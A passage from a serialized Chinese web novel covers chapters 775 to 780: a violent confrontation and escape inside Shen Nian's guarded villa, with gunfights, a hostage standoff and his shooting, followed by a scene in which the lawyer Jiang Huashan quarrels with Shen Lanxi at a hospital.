沈归灵眸光微黯,不由深看了沈年一眼,但言语依旧带着挑衅,“你说的没错。不过最蠢的,大概还是沈澈……他到现在还不知道,究竟是谁害死了他的孩子?” 沈年眸色骤然变得深浓,他死死盯着沈归灵,仿佛想从她脸上挖出更深的东西。 对峙了片刻,他猛地一把推开她,语气里充满了厌弃,“所以,我最讨厌的就是你这种自以为是的聪明人!你既然什么都清楚,就不该答应沈谦来S国。” 他站起身,忽然又狞笑了起来,“因为……你会没命,哈哈哈哈哈哈!!!” 沈年突然像是一只失控的傀儡,一边笑一边来回暴走,“你们都得死!我一个一个地杀,全部都杀干净!” 蓦地,他转了转眼睛,贴近沈归灵的耳边,轻声细语道,“最该死的就是你,你凭什么代替我?凭什么你是沈谦的儿子爷爷就接受了你?我不会拆穿你,但我会亲手把你从万丈高空扔下去。我倒是要亲眼看看,沈谦到时候的表情会有多精彩!哈哈哈哈哈……” 沈年狂乱的笑声在黄昏的泳池边回荡,扭曲而刺耳,与他身后那片粉蓝色的温柔暮色形成了骇人的对比。 “死!都得死!哈哈哈……” 一个穿着黑色西装、像是助理模样的男人立刻上前,脸上写满了焦急与恐惧,他连忙从西装内袋里取出一个小药瓶,倒出两片白色药片递给沈年。 “阿年少爷,您该吃药了。”他颤抖着手,试图将药片递到沈年唇边。 “滚开!”沈年猛地一挥手,力道极大,狠狠打在那助理的手上。药片瞬间飞溅出去,散落在湿漉漉的瓷砖地上。助理也被打得一个趔趄,捂着手背,不敢再贸然上前。 就在这时,管家穿过长廊,脚步匆忙地走了过来。 “阿年少爷,A国来人了。” 沈年捂着半张脸,眼带杀意,“沈谦的人?他来救这个野种了?” “不是!”管家连忙摇头,声音里带着压抑不住的颤抖,“是郑管事!郑管事说,老爷子让他接您回国。” “老爷子?” 这三个字像是一根带刺的寒冰,猝然刺入沈年的狂乱之中。他的笑声戛然而止,整个人僵在原地,只有胸膛还在剧烈地起伏。 他猛地转过头,阴鸷的目光死死盯着掉落在地上的小药片,几秒令人窒息的对峙后,他眼底的疯狂竟一点点被一种更为复杂的阴戾所取代。 他忽然弯下腰,从地上捡起那两片沾了水渍尘污的白色药片,看也没看,直接扔进嘴里,喉结滚动,硬生生干咽了下去。 随即,他抬手,慢条斯理地整理了一下自己刚才因暴怒而弄乱的衣襟和袖口,仿佛瞬间变回了那个体面的沈家少爷,如果忽略他依旧猩红的眼角和那双深不见底、暗藏风暴的眼睛的话。 “带路。” 他声音嘶哑,带着一丝不易察觉的颤抖。 …… 第776章 猎杀时刻 主厅。 华丽的水晶吊灯倾泻下冷冽的光,映得郑松那张刀疤纵横的脸愈发狰狞。他立在光晕中心,周身散发着的戾气,竟让周围持枪的雇佣兵都显得温和可亲起来。 沈年看着那道小山一样的背影,眼里一片漠然。他抬步跨入厅内,皮鞋敲击大理石地面,发出清晰而孤冷的回响。 郑松闻声骤然回头,见是沈年,脸上横肉细微抽动了一下,快步迎上:“阿年少爷。” 沈年只扯了扯嘴角,眼皮都没抬直接越过郑松,稳当地坐上了主位。 “听说沈执死了以后,爷爷最器重的就是你这条狗了?”他慵懒地向靠着沙发,眼神里掺着几分戏谑。 郑松不像已故的沈执那般八面玲珑,直接忽视沈年的挑衅,硬邦邦地回道:“阿年少爷,您母亲病重垂危,她希望能见您最后一面。老爷子已经允了。” “重病垂危?”沈年皱了皱眉,仿佛听到了什么天方夜谭,“我母亲身体向来好得很,哪来的病?” 他语调轻松,眼里寻不到一丝对姚歌的担忧,仿佛在谈论一个陌路人。 郑松并不接话,继续机械地传达:“老爷子说,如果阿年少爷不愿回国,也不必勉强。但务必让我将阿灵少爷带回去。” “……”沈年嘴角那点虚伪的笑意瞬间冻结。 他眼神阴鸷下来,声音却轻得危险:“你倒是会传话。” 郑松面无表情,像一块浸透了冰水的石头,又冷又硬。 沈年在沈园长到十八岁,深知这木头疙瘩的秉性。他懒得再多费口舌,挥了挥手,故作轻松:“离家太久,我这边的摊子也不是说丢就能丢的。总得容我几天时间收拾。你先找个地方住下,等我安顿好了跟你回去。” 生母病危,竟还有心思拖延算计? 郑松的脸上终于裂开一丝极细微的波动:“阿灵少……” “砰——!” 一声巨响猛然炸开! 沈年瞬间暴起,狠狠踹翻身旁沉重的橡木椅,那椅子翻滚着砸在地上。 他面目狰狞,如同被触逆鳞的凶兽,朝郑松怒吼:“狗东西!你给我搞清楚!我才是沈家的长孙!沈归灵那个野种算个什么东西?!” 郑松对沈年的阴晴不定早有预料,沉默了片刻,才用他那平板无波的声调再次开口:“阿年少爷,容我提醒您一句。老爷子的原话是——带两位少爷一起回沈园。若是少了哪一位,之前的条件,便全部作废。” 说罢,他无视了沈年那几乎要噬人的目光,微微一鞠躬:“夫人的病情,拖不起。明天这个时候,我再来。” 他转身,大步离去。 直到郑松的脚步声彻底消失在走廊尽头,主厅内凝固的空气却仍未流动。 沈年站在原地,胸膛微微起伏,阴鸷的目光死死盯着郑松离去的方向,仿佛要将那背影灼穿。 几名侍者大气不敢出,低着头快步上前,试图扶起那翻倒的橡木椅。 “滚出去。” 沈年的声音不高,却冷得刺骨。侍者们如蒙大赦,立刻屏息躬身,迅速退出了主厅,并轻轻带上了那扇沉重的雕花木门。 偌大的空间里,只剩下沈年一人,以及满地狼藉和无声流淌的杀气。 他缓缓转过身,走到巨大的落地窗前,窗外到处都是拿着军火四处巡逻的雇佣军,这他一手建立的王国,秩序井然,每一寸土地都刻着他的权威。 爷爷这么多年对他不闻不问,如今却为了沈归灵那个野种让郑松亲自跑一趟,这分明是防着他动手! 沈年的嘴角勾起一抹极度冰冷的弧度,眼中翻涌着毒液般的杀意。 既然这样,他偏偏就要今晚就要了沈归灵的命。 沈年慢慢抬起手,两指并拢轻轻勾了勾。 “老板。” 阴影里,一个穿着黑色西装、气质精干的中年男人无声无息地出现,他是这里的管事,也是沈年最得力的心腹之一。 沈年没有回头,依旧看着窗外属于自己的夜色,声音平静得可怕。 “送那个野种上路。” “是。”管事应道,无声地退下,融入阴影之中。 主厅再次恢复死寂。沈年走到翻倒的椅子旁,用鞋尖轻轻踢了踢,发出一声沉闷的轻响。 爷爷,这次我杀的可不是沈家人,你没有理由怪我~ 他脸上终于露出一丝真正的笑意,却残忍得令人胆寒。 * 地窖。 潮湿的霉味混合着新鲜浓重的血腥气,在污浊的空气里沉重地弥漫。那盏左右摇晃的白炽灯投下不稳定的光晕,将地上三具歪扭尸体的影子拉长、扭曲,如同怪诞的舞蹈。 沈归灵靠在冰冷的砖墙边,微微喘息。原本湿透的衣物上,又沾染了地窖的污迹和喷溅的猩红。他垂着眼,目光扫过眼前的三具尸体,起身捡起地上掉落的黑色手枪。 冰凉的金属触感让他因搏斗而发热的神经稍稍冷却。 他检查了弹夹,子弹是满的,一颗不少。 沈归灵的指尖轻轻摩挲着枪身上冰冷的刻痕,眼神沉静如水,深处却燃着幽暗的光芒。 沈家族训第一件事便是不能把枪口对着自己人,所以只有是沈年先动了杀心,他接下来的所有行为,才能被定义为合情合理。 按照他之前的计划,探查清楚李家的情况后,他就会安排莫然冒充沈谦的人向沈年施压。以他对沈年的了解,沈年必然不会顺从沈 可就在刚刚,沈年发疯时,言行隐隐透露出了一丝内情,沈归灵便猜想,或许不需要莫然了,郑松的到来才是最好的契机点。 他调整了一下呼吸,悄无声息地将自己隐藏在灯光摇曳的阴影死角,枪口微抬,准星虚虚地指向那扇通往地面的铁门。 等了这么久,终于可以回去了。 …… 第777章 叛逆的殿下 来了! 沈归灵贴在冰冷的砖墙后,呼吸压得极低,耳廓微动,捕捉着铁门外细微的声响。 不止一人,他们正谨慎地踩在通往窖底的台阶上。 他们来得比他预想的还要快,看来沈年是真的急了。 “吱呀——” 就在铁门被再次推开一条缝隙的刹那! 沈归灵猛地从阴影中探身,手臂绷直,根本无需瞄准,对着门缝方向便是连续两次急促的点射! “砰!砰!” 枪声在地窖狭小的空间内炸开,震耳欲聋。 门外传来一声闷哼和身体滚落台阶的沉重声响。 没有丝毫停顿,沈归灵枪口瞬间上移,对准那盏摇晃不休、制造着混乱光影的白炽灯! “砰!” 第三声枪响!灯泡应声而碎,玻璃渣如同冰晶般四散溅落。整个地窖瞬间陷入彻底的、令人窒息的黑暗,唯有开枪时枪口迸发的微弱火光在视网膜上留下短暂的残影。 黑暗成为了他最好的护甲。 门外传来惊怒的吼叫和杂乱的脚步声,子弹盲目地射入地窖,打在砖墙和地面上,迸出点点火星,但他们已经失去了目标。 沈归灵凭借之前记忆中的方位,如同鬼魅般无声地扑向地窖另一侧…… * “废物!” 盛着烈酒的水晶杯被沈年狠狠掼在坚硬的大理石地面上,炸裂开来,碎片和酒液四处飞溅! “一群废物!”沈年额角青筋暴起,狠狠揪住其中一名手下的衣领,面目扭曲得比恶鬼还要狰狞,“他肯定还没有跑远!挖地三尺也给我把他找出来!他要是不死你们就给我死!!!” 之前的管事显得镇定许多,“老板,我们已经封锁了所有出口,他绝对还在院内,你放心……” 话音未落—— “啪!” 整个别墅所有的灯光骤然熄灭,视野瞬间被浓墨般的黑暗吞噬,只有窗外零星的应急灯光和月光透入,勾勒出家具模糊而诡异的轮廓。 死寂如同浓墨般晕染开来。 紧接着,死寂被彻底打破! “砰!” “砰砰砰——!” 四面八方,毫无预兆地爆发出密集的枪声!不再是地窖里那种零星的交火,枪声响起的同时还夹杂着惊恐的喊叫,“快!他往主厅方向去了!” 沈年僵立在黑暗与激烈的交火声中,眼神阴鸷地打量着四周。 “哈哈哈哈哈哈!” 突然,他捂着肚子,爆发出一种近乎癫狂的放声大笑,“我说你这次怎么……这么抗打?原来……原来是跟我打了一样的主意!” “老板!”管事迅速侧身将沈年护在后方,“这里太危险了!我先送您去安全的地方!” “滚开!”沈年猛地一把推开管事,顺势抽出他腰间枪套里的手枪,“咔嚓”一声利落上膛。 “来啊!”他咧着嘴角,对着浓稠的、充满威胁的黑暗嘶声挑衅,“我倒要看看你今天怎么杀我?!” * 与此同时。 高止正悠闲地斜倚在树杈间,沐浴着皎洁月光,比着万年不变的剪刀手,对着镜头努力寻找最好看的角度。 冷不丁,二十米开外的别墅里传来一阵噼里啪啦的爆响——那动静,比一年前他鼓动菜鸡爬墙那晚的鞭炮声还要密集响亮十倍! “这是?打起来了?” 高止收起美颜相机,脸上的玩世不恭瞬间敛去,动作利落地举起挂在胸前的望远镜朝别墅方向望去。 只见刚才还灯火璀璨宛如宫殿的别墅,此刻已彻底陷入一片死寂的漆黑。浓重的夜幕下,到处都在闪烁着刺眼的枪火火星,噼啪声不绝于耳。 “啧~够刺激的。” 他嘴上说着风凉话,动作却毫不含糊,迅速从背包里掏出特制的红外摄影机,稳稳架在枝头,调整焦距,“咔嚓咔嚓”连拍数张现场高清照片,手指飞快地发给沈兰晞。 -【战地记者小高冒死发回一线报道!少爷,他们打起来了!】 正当他想着要不要再发条语音调戏一下不苟言笑的菜鸡时,高倍摄影机的取景框里,突然捕捉到了一群异常的红外影像。 那些人行动迅捷如鬼魅,训练有素,正以惊人的速度从外围向内包抄,所过之处,原有的防御力量如同被无形巨口吞噬般迅速瓦解。 “这不对劲啊。” 他低声咕哝一句,反手从树上捞起两把冲锋枪甩到背上,身形轻盈地一跃而下稳稳落在草地上。 这群人来者不善,万一沈归灵和沈年出了意外,他被少爷责骂都是小事,好不容易混上的巨额奖金可就彻底泡汤了! 绝对不行! * 别墅二楼走廊。 电力中断后的黑暗浓稠得化不开,唯有远处窗外零星透入的月光和应急灯绿芒,勉强勾勒出昂贵地毯和华丽廊柱的模糊轮廓。 空气里弥漫着硝烟和一种冰冷的死寂。 沈归灵如同壁虎般紧贴着墙壁阴影移动,脚步无声。 他知道沈年的性子,这座别墅固若金汤,以沈年的傲慢,绝不可能龟缩躲避,此刻必然在某个角落里等着他自投罗网。 就在他经过一扇虚掩的房门时,门内阴影里忽然伸出一只手…… 沈归灵反应快得惊人,几乎是本能地矮身旋腕,手中枪托狠狠向后砸去! 对方似乎没预料到他的反击如此凌厉迅捷,格挡的手臂被震得发麻,发出一声极轻的闷哼,却并未追击,反而借势向后滑开一步,再次隐入更深的黑暗。 沈归灵眼神一厉,毫不迟疑地揉身扑上,指尖如钩,直取对方喉管。 那黑影格挡闪避,动作干净利落,显然是受过严苛训练的好手,却古怪地只守不攻,甚至屡屡放弃反击的良机,只是不断试图拉开距离。 几次电光火石的短促交锋后,沈归灵攻势越发狠戾,对方似乎被他逼得退无可退,背脊猛地撞上身后的墙壁,发出一声闷响。 就在沈归灵致命的手刀即将切中对方颈动脉的刹那—— “唰!” 对手突然从腰侧抽出一道冷白的光柱,但她没有射向沈归灵的眼睛,而是猛地调转方向,直直照向了自己的脸! “殿下,自己人。” “砰!” 沈归灵动作却毫不停滞,反肘直接击中对方的右脸颊,“我记得你,在白峥的床上给我打了两管催情剂的家伙。” 安缇倒地,“……” …… 第778章 威胁 安缇万万没有想到,此生唯一一次动了的恻隐之心,竟是一支如此狠戾的毒镖。 沈归灵那一拳力道骇人,让她半张脸瞬间麻痹,连呼吸都牵起一阵针刺般的剧痛。 求生本能压倒了一切尊严,她翻身便向漆黑的夜幕深处爬去,动作因痛楚而显得踉跄狼狈。 沈归灵站在原地,月光将他身影拉得修长而冷硬。 他垂眸,冷眼盯着脚下正缓慢蠕动的身影,忽然抬脚,重重踩在安缇肩头——那力道几乎要碾碎她的骨头,“你怎么会在这里?” 方才那一声“殿下”,分明是冲他而来。 安缇深吸一口气,艰难地扯动嘴角,挤出一个勉强算是友好的微笑,“我们听到屋里有枪声……担心殿下安危,所以才闯进来。” 沈归灵眼睛微眯,声音低沉:“你们?” 她抿了抿发干的嘴唇,低声解释:“自从殿下踏入S国国境,女王便秘密派遣亲卫团暗中保护您。‘我们’……就是您的亲卫团。” 黑暗中,两人的目光骤然相撞。 沈归灵那双与白普大帝如出一辙的瑞凤眼在夜色中显得格外凌厉,片刻之后,他收回目光,转身融入夜幕,只留下一句冰冷的命令: “滚。我不需要你们。” “……” 安缇捂着几乎碎裂的肩膀坐起身,直到沈归灵完全消失在视线中,她才头疼地按了按耳内的通讯设备,“团长,您听见了?殿下让我们滚。” “团长??” 这时,一直蹲在阴影中的人体雕像忽然动了。 白密穿着一身黑色夜行衣,从角落的黑暗中踱步而出,:“别嗷了,听见了。” “……”安缇愣了愣,拾起地上的微型光柱朝他照去,确认无误后直接气笑了,“别告诉我,你刚刚就一直躲在那儿?” 就这么眼睁睁看着她挨打? “诶!”白密皱了皱眉,一本正经地纠正,“我不是躲,是战略。” 安缇盯着他,固执地要一个解释:“什么战略?” 白密撇了撇嘴,语气几乎理直气壮:“打了你就不能打我了。” 他实在不好意思告诉安缇,之前被沈归灵追着打的经历还历历在目,他是真被打出了阴影。 “……”这人到底是怎么当上亲卫团团长的? 安缇按灭光柱,灼灼目光几乎要穿透黑暗将白密钉在原地。 白密有些心虚,却忽然想起什么似的,理直气壮地抬了抬下巴:“我怕他怎么了?别忘了他是谁的孩子。” 话音刚落—— 二楼过道突然炸起一连串枪声。 正是方才沈归灵消失的方向。 安缇那张娃娃脸瞬间阴沉下来,只见她单手撑地,身形如猎豹般猛然窜出,直扑声源而去。 白密此时也顾不上会不会挨打,迅速戴上山狼面具,紧随其后。 二人疾行至二楼转角,浓重的硝烟与血腥味扑面而来。两名黑衣伏击者歪倒在墙边,鲜血正汩汩浸透奢华的地毯;另一人俯卧于地,后心处深深插着一柄普通的水果刀——竟是就地取材,一击毙命。 战斗已结束,干脆利落,甚至没有过多挣扎的痕迹,而沈归灵,早已不见踪影。 安缇与白密对视一眼,皆从对方眼中看到惊骇,他们都知道沈归灵能打,但这解决速度……未免太过吓人。 就在这时,头顶上空传来沈年嚣张而亢奋的叫嚣: “沈归灵!你就只有这点能耐吗?你不是想杀我吗?我就在顶楼,你有本事杀上来啊?!” “我倒要看看,是这座堡垒硬还是你的骨头硬,你上来啊!!!野种!!哈哈哈哈哈哈!!!” 上面! 安缇与白密眼神一凛,同时跃起,如两道黑影般飞速向上层掠去。 ﹡ 沈年的堡垒共六层,每层皆有三个以上房间。被囚的这段日子,沈归灵早已摸清整栋别墅的每一处转角与暗道。迅速解决二楼杀手后,他返身折入一条八米长的横廊,从另一个出口悄无声息地攀上三楼。 沈年在上层不断嘲讽,试图拖住他的脚步。但沈归灵不为所动——他清楚沈年一定派了重兵修理电闸,一旦别墅恢复供电,现在的夜色优势将荡然无存。 他必须在最短时间内杀上五楼。 为此,沈归灵在回廊间连续迂回穿插。他比那些杀手更熟悉这片地形,声东击西,如鬼魅般在黑暗中游走,将他们耍得团团转,逐一击破。 白密和安缇始终紧随其后,却永远落后半层。 五分钟后,沈归灵终于踏上了五楼。 然而,与楼下激烈的枪战迥异,这里静得可怕。 三个房间门皆洞开,内部漆黑如墨。唯有尽头那一间,门缝中漏出一线微弱橙光。 仔细听,还有声音。 “呜……妈妈……我要妈妈……” 那声音细微颤抖,夹杂着压抑的抽噎。 ——是一个孩子稚嫩而恐惧的求饶。 沈归灵的脚步猛地滞住,整个人如被冰封,死死钉在走廊冰冷的阴影里。 就在这时,那扇透光的门内忽然涌出十余名手持重型枪械的壮汉,沈年被这些人层层簇拥着,慢条斯理地从光亮中踱出。 “沈归灵,我知道你就在附近。”他举着手机,得意地坐在人墙围出的中央,狞笑声与视频中男孩的呜咽形成了残忍对比,“你送了我这么大礼,我也回你一份,如何?” “啧啧,这段不够精彩……啊,找到了。你看你那时多‘乖’啊?连阿毛都抢不过你。” 视频中,那个不过四五岁的男孩脸上伤痕累累,已是少年的沈年扔出一只飞盘,踢了男孩一脚,令他与一头壮硕藏獒争抢那只飞盘,四周回荡着各式各样的哄笑,男男女女,得意而猖狂。 沈归灵的下颌线绷得死紧,额角未干的血痕在昏暗中愈显狰狞。 他沉默地举起手枪,准星稳稳瞄向人缝中的沈年。 沈年等了一会儿,没听到任何动静,笑容愈发扭曲:“不愧是跟狗抢过食的,真能忍。行!我倒要看看你能忍到几时?” 他话音一落,身后的管事抬出一台特殊设备置于茶几上。 沈年起身,将手机与设备连接,抬头环顾四周,笑容意味深长:“沈归灵,这是一台加密信号器。只要我按下这个按钮,这份精彩资料就会发到它最该去的地方。你猜——” 不等他说完。 角落里,暗影微动,沈归灵安静放下枪,从阴影中一步一步走了出来。 …… 第779章 是软肋也是铠甲 偌大的中厅内,只因他突然的现身而骤然风声鹤唳。 枪械碰撞的金属刮擦声在死寂中格外刺耳,每一寸空气都绷紧如弦。 沈年先是怔住,盯着黑暗中那双冷冽的眼睛看了许久,终是没忍住放声大笑: “你不是很能忍吗?怎么就忍不住了?” 笑声戛然而止,沈年嘴角扯出一抹阴冷的弧度,“沈归灵……像你这样的人,怎么还敢有软肋?” 他向后撤了一步,抬手一挥,声线陡沉:“杀了他。” 四周持枪的壮汉如嗅到血腥的鬼魅,齐刷刷举枪瞄准沈归灵。 “等等,”沈年忽然皱眉,语气里渗着残忍的兴味,“这么死太便宜他了,放干他的血,我要把他做成干尸。” * 暗处,白密眼中猛地蹿起猛兽般的凶光。 若他早知沈年与沈归灵之间有如此过往,之前在李家老宅时就该一枪结果了这个变态。 眼看沈归灵被人重重压制,安缇不动声色地摸向腰后的光柱。就在她准备行动的时,白密按住她的肩。 安缇侧过脸,眼中没什么表情,可那股凛冽的杀气仍让白密心头一紧。 沈归灵是安缇最在意的人的孩子,她若真失控,今晚这事就绝难收场。 白密迅速以手语示意:「那个东西比他的命重要。你抓人质,掩护我。」 安缇眸光一凛,下一秒如离弦之箭疾冲而出!趁所有人注意力仍在沈归灵身上,她抽出光柱中的长刀凌空掷出—— 寒光划破黑暗,直逼人群后方! 杀手们这才惊觉“后院起火”,慌忙回身欲护沈年,可安缇已连开数枪,精准击毙沈年身旁所有护卫。 夜幕中两道人影交错疾掠,安缇如鬼魅般凌空接住下坠的长刀,不等沈年反应,刀刃已稳稳横上他脖颈。 与此同时,白密击倒两人,第三枪直接打碎了茶几上的手机屏幕。 “……谁!?”沈年刚开口,就觉颈间一凉,刺痛随之蔓延。 “退后!”安缇厉声。 沈年在S国数年,立刻认出对方是地道的S国人。他下意识认为这是李儒布的暗哨——毕竟李儒还要靠沈归灵演一出卖国求荣的大戏。 他勉强偏过头,强作镇定道:“李家给了你多少?我出双……” “啪——” “倍”字还未出口,安缇反手一记耳光重重扇在他脸上。 为首的男人见状立刻提起倒在地上的沈归灵,枪口死死抵住他眉心:“别动,否则我立刻杀了他。” 白密面无表情笑了笑,从长靴中抽出一柄匕首,手起刀落—— “啊!!!”沈年发出一声凄厉的惨嚎。 一切发生得太快,待那男人回过神,白密已利落地斩下了沈年一根手指。 “不想让他整条手臂都废了,就马上放人!”白密将断指踢到男人脚边,变声器里传出的声音比沈年更显变态。 “不许放!”沈年忍痛嘶吼,目眦欲裂,“给我砍了沈归灵的手!” 白密回头瞥了沈年一眼,刀尖微转:“看来,你是真不想活了?” 男人眉心剧跳,急声呵斥:“住手!我们放人,你们别动老板!” 管事跟随沈年十年,深知此时筹码不对等,拿沈年换沈归灵绝非明智之举。整栋别墅早已布下天罗地网,他们插翅难飞,当务之急是确保沈年安全。 沈年还要发作,却被安缇顺手卸了下巴,只能发出模糊的“呃呃”声。 白密拾起染血的匕首,用刀面拍打沈年的脸:“叫你的人全部退去一楼。你也是。” 管事犹豫片刻,终是举起双手,向身后比了个手势。 一分钟后,五楼人群尽数退去。 白密迅速上前扛起沈归灵:“怎么样?撑得住吗?” 沈归灵摇了摇头,尽管他已经神志不清,却仍挣扎着要向房间中央去。 白密一把拉住他:“先跟我们走!” 安缇也低声催促:“快走,再晚就真来不及了。” 可沈归灵仿佛什么也听不见,执拗地在昏暗中寻找着什么。 白密忽然明白过来,指向地上碎裂的手机:“你是在找那个?放心,我已经彻底毁了。你伤得很重,必须马上离开!” 沈年原本以为对方是李儒的人,可见他们对沈归灵如此维护,心下顿生疑窦。 沈归灵盯着地上残骸良久,偏执的眼神终于松动了一瞬。 他合了合眼,推开白密:“我不用你们管。” 都这种时候了,还怕与白家牵扯过深?沈家到底给他灌了什么迷魂汤? 白密气得牙痒,索性抱臂冷哼:“行啊,有本事你自己走出去。” 话音未落,沈归灵身体晃了晃,一头栽倒在地。 “殿下!”安缇脸色骤变,再顾不得沈年,飞身扑向沈归灵。 ——殿下? 沈年眼中的阴狠霎时被震惊取代,他死死盯着沈归灵,一脸难以置信。 一个野种……怎会被称作殿下? 沈归灵再次推开两人,艰难地撑起身。他似乎恢复了些许神志,踉跄着走到窗边。 月光漫入,照亮他苍白的脸和染血的嘴角。 别墅外已被沈年的人层层围住,而郑松与莫然不知何时已突破第一道铁门,正带着人向这边疾奔而来。 沈归灵抹去唇边血迹,眼里的寒光比安缇手里的剑刃还冷。 他轻轻推开窗户,先看了看月亮才指着窗下:“沈家的人到了,我已经安全,你们走吧。” 就在此时,沈年突然从地上一跃而起,发狠般朝窗边的沈归灵撞去—— 郑松到来,意味着这场厮杀不能再继续,他怎么可能甘心? “砰——砰——” 几乎同时,两声枪响撕裂空气!白密与安缇同时举枪,子弹一左一右精准命中沈年要害。 沈年踉跄扑倒,在坠地的瞬间仍死死望向沈归灵。 “砰——” 是灯丝与电容想通的爆裂声,整个别墅骤然灯火通明! 郑松与莫然刚冲上五楼,看见的便是这触目惊心的一幕。 沈归灵终于不支倒地,在与沈年错身跪倒的那一刻,他用只有对方能听见的声音轻声嘲讽: “所有人都看见了,是外人开的枪。现在就算你死了,爷爷……也不会怪我了。” …… 第780章 最讲道理的人 “轰隆——!” 鲸港的天气说变就变,墨一般的乌云毫无征兆吞噬了整片星空,雷电撕开天际,震得玻璃窗微微发颤。 姜花衫被惊雷吓得一颤,起身走向窗边。指尖还未触到窗帘,豆大的雨点便噼里啪啦砸在玻璃上,溅开一片冰凉。 她轻轻抹去溅在鼻尖的雨滴,抬眸望去,远处万家灯火在雨幕中晕染开来,整座城市的夜景已被雨水浸透,模糊成一片氤氲的光海。 “叮咚——” 就在这时,茶几上的手机突然亮起,一道冷光划破昏暗,一封匿名邮件提示弹了出来。 姜花衫的思绪被骤然打断。她合上窗,转身正要拿起手机,动作却在一瞬间停滞。 “叩叩——” 苏韵的声音恰好在门外响起,轻柔中带着几分迟疑:“你好,我现在方便进来吗?” 姜花衫瞥了眼屏幕上的“匿名发件人”,眉头微蹙。 难道又是周宴珩那个神经病? 她毫不犹豫地按下锁屏键,让房间重新陷入昏暗:“门没锁,进来吧。” 房门被轻轻推开,苏韵站在门口,目光在室内流转片刻,才缓步走进来。 “在忙吗?”她轻声问道,目光落在姜花衫正在整理的案卷上。 姜花衫将最后一沓资料理齐,抬眸时唇角带着淡淡的笑意:“没什么要紧事。找我有事?” 苏韵沉默了片刻,小心翼翼选择了一张单人沙发坐下。暖黄的灯光描摹着她明艳的五官,眼角那抹殷红明显是才哭过不久。 “我刚刚看了你的直播,”她缓缓开口,声音比平时低沉几分,“姜小姐,你真的……愿意替阿笙辩护吗?” 见姜花衫挑眉,她急忙补充,“别误会,我不是怀疑你的用心,只是……这会不会给你带来太多麻烦?毕竟……” 话未说尽,但姜花衫已经明白了她的弦外之音。她微微前倾身子,目光如炬,声音清晰而坚定:“行正义之事,我从不怕麻烦。沈家更不怕。” 苏韵怔在原地。在对视的十几秒里,只能听见雨点敲打玻璃的节奏,和两人交织的呼吸声。 片刻后,苏韵先低下了头,“对不起,是我狭隘了。” 说完,她立马又抬起头,这次的眼神多了几分坚韧,“姜小姐,请问有什么事我可以做的吗?”似乎是怕姜花衫拒绝,她又刻意补充了一句,“什么事都可以,请务必相信我,让我参与其中。” 姜花衫不由多看了苏韵一眼,虽然在她之前的计划里并没有苏韵,但多一个帮手总归不是坏事。 念此,她点了点头,“行。那就麻烦苏小姐没事的时候多来医院,接下来的时间我可能会很忙,余笙的安全就交给你了。” 苏韵并非什么都不懂的小白花,余斯文连嫁祸亲生女儿的事都做得出,杀人灭口对他来说就更简单了。姜花衫需要的不是她守着,而是苏家守着。 此刻,她就代表了苏家。 “好,我会守着她。”苏韵郑重其事应下,神情严肃,“还有其他的事吗?” 姜花衫站起身,“控诉国家要员,司法程序必会经过国院,如果可以,还请苏伯父出面拖延一下立案时间。” 苏韵想了想,跟着起身,“爷爷已经答应我了,这次会站在公道这边。如果拖延立案对阿笙有帮助,苏家定然不会推脱。但是有一点只怕会是个大麻烦……” “我知道。”姜花衫笑了笑,一本正经地提起她的公文包,“所以接下来我才会很忙。” “叩叩——” 不等苏韵反应,屋里又响起了敲门声。苏韵闻声回头,猝不及防撞进一双深潭似的眼眸里。 她进来时,担心余笙中途醒来故意没有将房门掩实,没想到沈兰晞竟然会突然出现。 苏韵的呼吸几不可察地滞了一瞬。灯光掠过她骤然亮起又迅速敛去的眸光,像夜空中倏忽而逝的流星。 沈兰晞站在门外,一身黑色西装,肩线平整得没有一丝褶皱。他的目光并未在苏韵脸上做片刻停留,而是直接越过她,投向一旁看似看戏的姜花衫。 他的眼神冷了几分,像浸在冰水里的玉石,“住院手续已经办好了,爷爷打了几通电话催我们回家。” 每一个字都清晰冷静,却像无形的壁垒,将苏韵隔绝在外。 “啊?”姜花衫已经注意到了苏韵的细微变化,忙点头,“正好,我也该回去准备材料了。” 她转向苏韵,语气缓和些许,“余笙这边,就麻烦你了。” 苏韵垂下眼帘,浓密的睫毛掩住所有情绪,再抬头时已恢复得体笑容:“放心。”她侧身让开通道,小声道,“关于阿笙的事,姜小姐有什么需要我的地方尽管开口。” 姜花衫没想到她竟然对余笙这么仗义,点头应道,“放心吧,我不会客气的。” 从始至终,沈兰晞都像个局外人,直到姜花衫与苏韵擦肩而过,他才推开房门,向姜花衫伸出手,很自然地想接过她手中的公文包:“雨很大,车停在负一层,我们走吧。” “诶!”姜花衫敏捷抬手,眼珠嗖地一下瞟了苏韵一眼又落回原位,“这里面都是很重要的资料,我自己拿。” 沈兰晞的指尖在即将触到姜花衫手腕的前一秒僵在空中,短暂停留后,他若无其事地收回手,淡淡道,“好。” * 窗外的雨越下越大,噼里啪啦打在玻璃上,好似整个楼道都在震动。 姜花衫抱着公文包,眼角的余光几次扫过沈兰晞。 冷硬的侧脸、抿成一条直线的薄唇,微蹙的眉心,这些落在她眼里统统化作了“不耐烦”的表现。 姜花衫一脸晦气地抿了抿嘴,“其实你要是不想送我回去,我可以自己回去的。” 沈兰晞的脚步倏地顿住。他侧过头,一道惨白的闪电恰在此时劈开夜空,将他俊美却冰冷的轮廓映照得如同暗夜修罗,危险而莫测。 “我不想送你?” 这是很典型的疑问句,可落在对沈兰晞有八倍滤镜的姜花衫耳朵里,却变成了肯定不能再肯定的陈述句。 不想送还送?! 姜花衫也不惯着他,脸色一沉,语速快得像急坠的雨点,“不想送就别送,我让你送了吗?我求着你送了吗?还有沈兰晞我警告你,你想做什么引起苏韵的注意我不管,但是你别想利用我!” 刚刚在病房里她可看得清清楚楚,这狗东西为了让苏韵吃醋,竟然不择手段主动给她拎包。 当初读书的时候,让他背个书包还嫌丢脸,现在怎么不觉得丢脸了? 沈兰晞完全没明白怎么两句话,她就炸了,努力让自己缓和语气,“我和苏小姐没有关系,这是我和你的事,我们不要谈论别人。” “哈~”姜花衫被气笑了,成见大山让她的理智荡然无存,“我说一句都不行了?行!” 说完,掉头就走。 “……”沈兰晞捏了捏眉心,一点办法都没有,跟在她身后解释,“姜花衫,你讲点道理。” 姜花衫用力甩开手,回身点着沈兰晞的肩膀,“沈兰晞,你搞清楚,现在全A国民众谁不知道我小姜律师是最讲道理的人!” “你……” “噗嗤!” 沈兰晞正要开口,忽然被一道漫不经心的戏笑声打断。 两人同时一愣,循声看去。 只见住院部门廊外的狂风暴雨中,不知何时立着一道颀长身影。那人撑着一柄巨大的纯黑雨伞,伞面倾斜,遮住了大半面容,只能看见握着伞柄的手,指节清晰分明。 